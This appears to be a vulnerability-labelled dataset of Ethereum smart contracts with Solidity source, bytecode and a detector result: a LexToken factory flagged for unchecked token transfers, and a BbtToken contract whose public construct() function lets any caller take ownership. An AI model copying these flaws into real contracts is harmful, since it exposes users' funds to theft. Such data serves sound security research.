burnFrom(address from, uint256 value) external { _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _burn(from, value); } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue)); return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue)); return true; } // Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol function permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external { require(block.timestamp <= deadline, "expired"); bytes32 hashStruct = keccak256(abi.encode( PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline)); bytes32 hash = keccak256(abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); require(signer != address(0) && signer == owner, "!signer"); _approve(owner, spender, amount); } function purchase() external payable { // SALE require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!ethCall"); _transfer(address(this), msg.sender, msg.value.mul(saleRate)); } receive() external payable { // SALE require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!ethCall"); _transfer(address(this), msg.sender, msg.value.mul(saleRate)); } function redeem(uint256 value, string calldata redemption) external { // burn token with redemption message _burn(msg.sender, value); emit Redeem(redemption); } function _transfer(address from, address to, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function transfer(address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _transfer(msg.sender, to, value); return true; } function transferBatch(address[] calldata to, uint256[] calldata value) external { require(to.length == value.length, "!to/value"); require(transferable, "!transferable"); for (uint256 i = 0; i < to.length; i++) { _transfer(msg.sender, to[i], value[i]); } } function transferFrom(address from, address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _transfer(from, to, value); return true; } /**************** MANAGER FUNCTIONS ****************/ modifier onlyManager { require(msg.sender == manager, "!manager"); _; } function addOffer(string calldata offer) external onlyManager { offers.push(offer); emit AddOffer(offers.length-1, offer); } function amendOffer(uint256 index, string calldata offer) external onlyManager { offers[index] = offer; emit AmendOffer(index, offer); } function _mint(address to, uint256 value) internal { require(totalSupply.add(value) <= totalSupplyCap, "capped"); balanceOf[to] = balanceOf[to].add(value); totalSupply = totalSupply.add(value); emit Transfer(address(0), to, value); } function mint(address to, uint256 value) external onlyManager { _mint(to, value); } function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager { require(to.length == value.length, "!to/value"); for (uint256 i = 0; i < to.length; i++) { _mint(to[i], value[i]); } } function updateGovernance(address payable _manager, string calldata _details) external onlyManager { manager = _manager; details = _details; emit UpdateGovernance(_manager, _details); } function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager { saleRate = _saleRate; forSale = _forSale; if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);} if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);} if (_forSale) {require(_saleRate > 0, "_saleRate = 0");} emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale); } function updateTransferability(bool _transferable) external onlyManager { transferable = _transferable; emit UpdateTransferability(_transferable); } function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to contract require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value"); for (uint256 i = 0; i < token.length; i++) { uint256 withdrawalValue = value[i]; if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));} IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue); } } } /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract CloneFactory { function createClone(address payable target) internal returns (address payable result) { // eip-1167 proxy pattern adapted for payable lexToken bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } } contract LexTokenFactory is CloneFactory { address payable public lexDAO; // account managing lexToken factory address public lexDAOtoken; // token for user rewards address payable immutable public template; // fixed template for lexToken using eip-1167 proxy pattern uint256 public userReward; // reward amount granted to lexToken users string public details; // general details re: lexToken factory string[]public marketTerms; // market terms stamped by lexDAO for lexToken issuance (not legal advice!) mapping(address => address[]) public lextoken; event AddMarketTerms(uint256 index, string terms); event AmendMarketTerms(uint256 index, string terms); event LaunchLexToken(address indexed lexToken, address indexed manager, uint256 saleRate, bool forSale); event UpdateGovernance(address indexed lexDAO, address indexed lexDAOtoken, uint256 userReward, string details); constructor(address payable _lexDAO, address _lexDAOtoken, address payable _template, uint256 _userReward, string memory _details) { lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; template = _template; userReward = _userReward; details = _details; } function launchLexToken( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string memory _details, string memory _name, string memory _symbol, bool _forSale, bool _transferable ) external payable returns (address) { LexToken lex = LexToken(createClone(template)); lex.init( _manager, _decimals, _managerSupply, _saleRate, _saleSupply, _totalSupplyCap, _details, _name, _symbol, _forSale, _transferable); lextoken[_manager].push(address(lex)); // push initial manager to array if (msg.value > 0) {(bool success, ) = lexDAO.call{value: msg.value}(""); require(success, "!ethCall");} // transfer ETH to lexDAO if (userReward > 0) {IERC20(lexDAOtoken).transfer(msg.sender, userReward);} // grant user reward emit LaunchLexToken(address(lex), _manager, _saleRate, _forSale); return(address(lex)); } function getLexTokenCountPerAccount(address account) external view returns (uint256) { return lextoken[account].length; } function getLexTokenPerAccount(address account) external view returns (address[] memory) { return lextoken[account]; } function getMarketTermsCount() external view returns (uint256) { return marketTerms.length; } /*************** LEXDAO FUNCTIONS ***************/ modifier onlyLexDAO { require(msg.sender == lexDAO, "!lexDAO"); _; } function addMarketTerms(string calldata terms) external onlyLexDAO { marketTerms.push(terms); emit AddMarketTerms(marketTerms.length-1, terms); } function amendMarketTerms(uint256 index, string calldata terms) external onlyLexDAO { marketTerms[index] = terms; emit AmendMarketTerms(index, terms); } function updateGovernance(address payable _lexDAO, address _lexDAOtoken, uint256 _userReward, string calldata _details) external onlyLexDAO { lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; userReward = _userReward; details = _details; emit UpdateGovernance(_lexDAO, _lexDAOtoken, _userReward, _details); } }
0x6080604052600436106100dd5760003560e01c8063858d6aa41161007f578063a994ee2d11610059578063a994ee2d146105dd578063b6d712fb146105f2578063d7a57ce514610607578063e5a6c28f14610689576100dd565b8063858d6aa41461047a5780638976263d146104fd578063a6d5752614610598576100dd565b80635d22b72c116100bb5780635d22b72c146101c75780635f14f772146103af5780636f2ddd93146103e857806371190e4b146103fd576100dd565b80630c2ecfb6146100e25780634f411f7b14610181578063565974d3146101b2575b600080fd5b3480156100ee57600080fd5b5061010c6004803603602081101561010557600080fd5b503561069e565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014657818101518382015260200161012e565b50505050905090810190601f1680156101735780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018d57600080fd5b50610196610747565b604080516001600160a01b039092168252519081900360200190f35b3480156101be57600080fd5b5061010c610756565b61019660048036036101608110156101de57600080fd5b6001600160a01b038235169160ff6020820135169160408201359160608101359160808201359160a08101359181019060e0810160c0820135600160201b81111561022857600080fd5b82018360208201111561023a57600080fd5b803590602001918460018302840111600160201b8311171561025b57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156102ad57600080fd5b8201836020820111156102bf57600080fd5b803590602001918460018302840111600160201b831117156102e057600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561033257600080fd5b82018360208201111561034457600080fd5b803590602001918460018302840111600160201b8311171561036557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505050508035151591506020013515156107b1565b3480156103bb57600080fd5b50610196600480360360408110156103d257600080fd5b506001600160a01b038135169060200135610b87565b3480156103f457600080fd5b50610196610bbf565b34801561040957600080fd5b506104786004803603602081101561042057600080fd5b810190602081018135600160201b81111561043a57600080fd5b82018360208201111561044c57600080fd5b803590602001918460018302840111600160201b8311171561046d57600080fd5b509092509050610be3565b005b34801561048657600080fd5b506104ad6004803603602081101561049d57600080fd5b50356001600160a01b0316610cde565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156104e95781810151838201526020016104d1565b505050509050019250505060405180910390f35b34801561050957600080fd5b506104786004803603608081101561052057600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b81111561055a57600080fd5b82018360208201111561056c57600080fd5b803590602001918460018302840111600160201b8311171561058d57600080fd5b509092509050610d54565b3480156105a457600080fd5b506105cb600480360360208110156105bb57600080fd5b50356001600160a01b0316610e62565b60408051918252519081900360200190f35b3480156105e957600080fd5b50610196610e7d565b3480156105fe57600080fd5b506105cb610e8c565b34801561061357600080fd5b506104786004803603604081101561062a57600080fd5b81359190810190604081016020820135600160201b81111561064b57600080fd5b82018360208201111561065d57600080fd5b803590602001918460018302840111600160201b8311171561067e57600080fd5b509092509050610e92565b34801561069557600080fd5b506105cb610f6f565b600481815481106106ae57600080fd5b600091825260209182902001805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529350909183018282801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b505050505081565b6000546001600160a01b031681565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561073f5780601f106107145761010080835404028352916020019161073f565b6000806107dd7f0000000000000000000000007f2ca70539adee6e2935f2334ecdbdf0de842e35610f75565b9050806001600160a01b0316637a0c21ee8e8e8e8e8e8e8e8e8e8e8e6040518c63ffffffff1660e01b8152600401808c6001600160a01b031681526020018b60ff1681526020018a815260200189815260200188815260200187815260200180602001806020018060200186151581526020018515158152602001848103845289818151815260200191508051906020019080838360005b8381101561088d578181015183820152602001610875565b50505050905090810190601f1680156108ba5780820380516001836020036101000a031916815260200191505b5084810383528851815288516020918201918a019080838360005b838110156108ed5781810151838201526020016108d5565b50505050905090810190601f16801561091a5780820380516001836020036101000a031916815260200191505b50848103825287518152875160209182019189019080838360005b8381101561094d578181015183820152602001610935565b50505050905090810190601f16801561097a5780820380516001836020036101000a031916815260200191505b509e505050505050505050505050505050600060405180830381600087803b1580156109a557600080fd5b505af11580156109b9573d6000803e3d6000fd5b505050506001600160a01b038d811660009081526005602090815260408220805460018101825590835291200180546001600160a01b0319169183169190911790553415610a9657600080546040516001600160a01b039091169034908381818185875af1925050503d8060008114610a4e576040519150601f19603f3d011682016040523d82523d6000602084013e610a53565b606091505b5050905080610a94576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b505b60025415610b22576001546002546040805163a9059cbb60e01b81523360048201526024810192909252516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b158015610af557600080fd5b505af1158015610b09573d6000803e3d6000fd5b505050506040513d6020811015610b1f57600080fd5b50505b8c6001600160a01b0316816001600160a01b03167f176531a4d8afdce919b7d31d8cfd2b6d7a2787ef70e6fc44d338bce7a6a080e68c876040518083815260200182151581526020019250505060405180910390a39c9b505050505050505050505050565b60056020528160005260406000208181548110610ba357600080fd5b6000918252602090912001546001600160a01b03169150829050565b7f0000000000000000000000007f2ca70539adee6e2935f2334ecdbdf0de842e3581565b6000546001600160a01b03163314610c2c576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b60048054600181018255600091909152610c69907f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b018383610fc7565b507fcb08c4eb330ef67578d7cb86131f93d0de8d3dbd965167f9a31d3beedc973921600160048054905003838360405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a15050565b6001600160a01b038116600090815260056020908152604091829020805483518184028101840190945280845260609392830182828015610d4857602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d2a575b50505050509050919050565b6000546001600160a01b03163314610d9d576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b600080546001600160a01b038088166001600160a01b03199283161790925560018054928716929091169190911790556002839055610dde60038383610fc7565b50836001600160a01b0316856001600160a01b03167fc16022c45ae27eef14066d63387483d5bb50365e714b01775bf4769d05470a5985858560405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a35050505050565b6001600160a01b031660009081526005602052604090205490565b6001546001600160a01b031681565b60045490565b6000546001600160a01b03163314610edb576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b818160048581548110610eea57fe5b906000526020600020019190610f01929190610fc7565b507f63eeabb7a8f9739511c604ee8c971ebbc179c3eafeadc687574c1d5afd8699f783838360405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a1505050565b60025481565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f0949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282610ffd5760008555611043565b82601f106110165782800160ff19823516178555611043565b82800160010185558215611043579182015b82811115611043578235825591602001919060010190611028565b5061104f929150611053565b5090565b5b8082111561104f576000815560010161105456fea26469706673582212209397090308dd6573146ae1b013e5878bc7b4481c3ccdaee204d1ddf5fb818eb564736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
6,863
0x36b68E098D02a97b70fD1b71df1E805ec3D4E4d7
pragma solidity ^0.5.0; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function construct() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public _totalSupply; function totalSupply() public view returns (uint); function balanceOf(address who) public view returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is Ownable, ERC20Basic { using SafeMath for uint; mapping(address => uint) public balances; // additional variables for use if transaction fees ever became necessary uint public basisPointsRate = 0; uint public maximumFee = 0; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(!(msg.data.length < size + 4)); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) { uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } uint sendAmount = _value.sub(fee); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); emit Transfer(msg.sender, owner, fee); } emit Transfer(msg.sender, _to, sendAmount); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) public allowed; uint public constant MAX_UINT = 2**256 - 1; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) { uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } if (_allowance < MAX_UINT) { allowed[_from][msg.sender] = _allowance.sub(_value); } uint sendAmount = _value.sub(fee); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); emit Transfer(_from, owner, fee); } emit Transfer(_from, _to, sendAmount); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract BlackList is Ownable, BasicToken { /////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Bbt) /////// function getBlackListStatus(address _maker) external view returns (bool) { return isBlackListed[_maker]; } function getOwner() external view returns (address) { return owner; } mapping (address => bool) public isBlackListed; function addBlackList (address _evilUser) public onlyOwner { isBlackListed[_evilUser] = true; emit AddedBlackList(_evilUser); } function removeBlackList (address _clearedUser) public onlyOwner { isBlackListed[_clearedUser] = false; emit RemovedBlackList(_clearedUser); } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(isBlackListed[_blackListedUser]); uint dirtyFunds = balanceOf(_blackListedUser); balances[_blackListedUser] = 0; _totalSupply -= dirtyFunds; emit DestroyedBlackFunds(_blackListedUser, dirtyFunds); } event DestroyedBlackFunds(address _blackListedUser, uint _balance); event AddedBlackList(address _user); event RemovedBlackList(address _user); } contract UpgradedStandardToken is StandardToken { // those methods are called by the legacy contract // and they must ensure msg.sender to be the contract address function transferByLegacy(address from, address to, uint value) public; function transferFromByLegacy(address sender, address from, address spender, uint value) public; function approveByLegacy(address from, address spender, uint value) public; } contract BbtToken is Pausable, StandardToken, BlackList { string public name; string public symbol; uint public decimals; address public upgradedAddress; bool public deprecated; constructor() public { decimals = 6; uint decimalValue = 10 ** decimals; uint initialSupplyInBbt = 2000000000; uint initialSupplyInDecimals = initialSupplyInBbt * decimalValue; owner = msg.sender; init(initialSupplyInDecimals, "Blockball Token", "BBT", decimals); } // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the contract // @param _name Token Name // @param _symbol Token symbol // @param _decimals Token decimals function init(uint _initialSupply, string memory _name, string memory _symbol, uint _decimals) internal { _totalSupply = _initialSupply; name = _name; symbol = _symbol; decimals = _decimals; balances[owner] = _initialSupply; deprecated = false; } // Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint _value) public whenNotPaused { require(!isBlackListed[msg.sender]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint _value) public whenNotPaused { require(!isBlackListed[_from]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_from, _to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public view returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public view returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { deprecated = true; upgradedAddress = _upgradedAddress; emit Deprecate(_upgradedAddress); } // deprecate current contract if favour of a new one function totalSupply() public view returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } } // Issue a new amount of tokens // these tokens are deposited into the owner address // // @param _amount Number of tokens to be issued function issue(uint amount) public onlyOwner { require(_totalSupply + amount > _totalSupply); require(balances[owner] + amount > balances[owner]); balances[owner] += amount; _totalSupply += amount; emit Issue(amount); } // Redeem tokens. // These tokens are withdrawn from the owner address // if the balance must be enough to cover the redeem // or the call will fail. // @param _amount Number of tokens to be issued function redeem(uint amount) public onlyOwner { require(_totalSupply >= amount); require(balances[owner] >= amount); _totalSupply -= amount; balances[owner] -= amount; emit Redeem(amount); } function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner { // Ensure transparency by hardcoding limit beyond which fees can never be added require(newBasisPoints < 20); require(newMaxFee < 50); basisPointsRate = newBasisPoints; maximumFee = newMaxFee.mul(10**decimals); emit Params(basisPointsRate, maximumFee); } // Called when new token are issued event Issue(uint amount); // Called when tokens are redeemed event Redeem(uint amount); // Called when contract is deprecated event Deprecate(address newAddress); // Called if contract ever adds fees event Params(uint feeBasisPoints, uint maxFee); }
0x608060405234801561001057600080fd5b50600436106101fb5760003560e01c806370a082311161011a578063cc872b66116100ad578063e47d60601161007c578063e47d6060146108fe578063e4997dc51461095a578063e5b5019a1461099e578063f2fde38b146109bc578063f3bdc22814610a00576101fb565b8063cc872b661461080c578063db006a751461083a578063dd62ed3e14610868578063dd644f72146108e0576101fb565b806394b91deb116100e957806394b91deb146106f957806395d89b4114610703578063a9059cbb14610786578063c0324c77146107d4576101fb565b806370a08231146106035780638456cb591461065b578063893d20e8146106655780638da5cb5b146106af576101fb565b806327e235e3116101925780633f4ba83a116101615780633f4ba83a1461050357806359bf1abe1461050d5780635c658165146105695780635c975abb146105e1576101fb565b806327e235e314610451578063313ce567146104a957806335390714146104c75780633eaaf86b146104e5576101fb565b80630ecb93c0116101ce5780630ecb93c01461033757806318160ddd1461037b57806323b872dd1461039957806326976e3f14610407576101fb565b806306fdde03146102005780630753c30c14610283578063095ea7b3146102c75780630e136b1914610315575b600080fd5b610208610a44565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561024857808201518184015260208101905061022d565b50505050905090810190601f1680156102755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102c56004803603602081101561029957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b005b610313600480360360408110156102dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bfd565b005b61031d610d32565b604051808215151515815260200191505060405180910390f35b6103796004803603602081101561034d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d45565b005b610383610e5c565b6040518082815260200191505060405180910390f35b610405600480360360608110156103af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f26565b005b61040f6110eb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104936004803603602081101561046757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611111565b6040518082815260200191505060405180910390f35b6104b1611129565b6040518082815260200191505060405180910390f35b6104cf61112f565b6040518082815260200191505060405180910390f35b6104ed611135565b6040518082815260200191505060405180910390f35b61050b61113b565b005b61054f6004803603602081101561052357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111f5565b604051808215151515815260200191505060405180910390f35b6105cb6004803603604081101561057f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061124b565b6040518082815260200191505060405180910390f35b6105e9611270565b604051808215151515815260200191505060405180910390f35b6106456004803603602081101561061957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611283565b6040518082815260200191505060405180910390f35b61066361138c565b005b61066d611448565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106b7611471565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610701611496565b005b61070b6114d8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561074b578082015181840152602081019050610730565b50505050905090810190601f1680156107785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6107d26004803603604081101561079c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611576565b005b61080a600480360360408110156107ea57600080fd5b810190808035906020019092919080359060200190929190505050611705565b005b6108386004803603602081101561082257600080fd5b81019080803590602001909291905050506117e4565b005b6108666004803603602081101561085057600080fd5b81019080803590602001909291905050506119d5565b005b6108ca6004803603604081101561087e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b62565b6040518082815260200191505060405180910390f35b6108e8611ca1565b6040518082815260200191505060405180910390f35b6109406004803603602081101561091457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ca7565b604051808215151515815260200191505060405180910390f35b61099c6004803603602081101561097057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cc7565b005b6109a6611dde565b6040518082815260200191505060405180910390f35b6109fe600480360360208110156109d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e02565b005b610a4260048036036020811015610a1657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ed3565b005b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ada5780601f10610aaf57610100808354040283529160200191610ada565b820191906000526020600020905b815481529060010190602001808311610abd57829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b3b57600080fd5b6001600a60146101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af160903